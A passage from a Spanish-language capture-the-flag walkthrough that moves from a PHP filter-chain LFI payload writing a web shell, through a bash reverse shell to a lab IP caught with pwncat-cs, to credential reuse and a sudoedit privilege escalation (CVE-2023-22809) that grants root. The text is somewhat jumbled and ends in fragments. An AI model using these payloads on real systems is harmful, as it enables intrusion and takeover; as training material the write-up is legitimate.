vert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));

Resultado

El ultimo paso que nos muestra el exploit es:

print("[+] Access at " + base_url + "/rce.php?0=whoami")

Por lo tanto podemos usar el siguiente enlace:

http://172.17.0.2/rce.php?0=whoami

Resultado

Ahora si podemos entablar un RCE, en mi caso usare pwncat-cs, nos pondremos en escucha de la siguiente manera:

pwncat-cs :1234

Primero usaremos la función urlencode, debajo dejo el código de la función.

Usando /bin/bash -i >& /dev/tcp/172.17.0.1/1234 0>&1 no me funciono simplemente lo reescribo de la siguiente manera:

urlencode "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"

Resultado

[+] %2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27

En enlace quedaría de la siguiente manera:

http://172.17.0.2/rce.php?0=%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27

De este modo si funciona:

Ctrl + D para entrar a la Bash, somos el usuario www-data, aunque podemos notar que hay un usuario llamado jessica, pero comete el error de reutilizar credenciales lo cual aprovechamos.

Podemos ver que este usuario puede ejecutar sudoedit de manera privilegiada, esto lo podemos saber de 2 maneras, usando el modulo de pwncat o ejecutando manualmente sudo -l:

Ahora bien, podemos ejecutar:

sudoedit --version

Resultado

  • Verificamos que editor tenemos disponible, ya sea vi, vim o nano.

  • Exportamos la variable EDITOR, como se menciona en el CVE.

  • Ejecutamos sudoedit de forma privilegiada.

  • Dentro comentamos o borramos los permisos de jessica y agregamos los nuevos permisos jessica ALL=(ALL:ALL) ALL.

  • Guardamos y simplemente queda ejecutar sudo su para convertirnos en root.

La contraseña j.castro aunque se encuentra en la Wordlist rockyou.txt lo ideal es usar otra técnica, ya que puede tomar un poco de tiempo si usamos el rockyou.txt, por ejemplo, podemos usar , podemos aprovechar el echo de que tenemos el nombre y el apellido de un usuario legitimo, después de instalar correctamente username-anarchy podemos ejecutar el siguiente comando:

Si buscamos Sudoers policy plugin version 1.9.9 encontraremos ## aquí explica como explotar esta vulnerabilidad y también como mitigarla, en nuestro caso lo que aremos es lo siguiente:

b0ysie7e
username-anarchy-master
CVE-2023-22809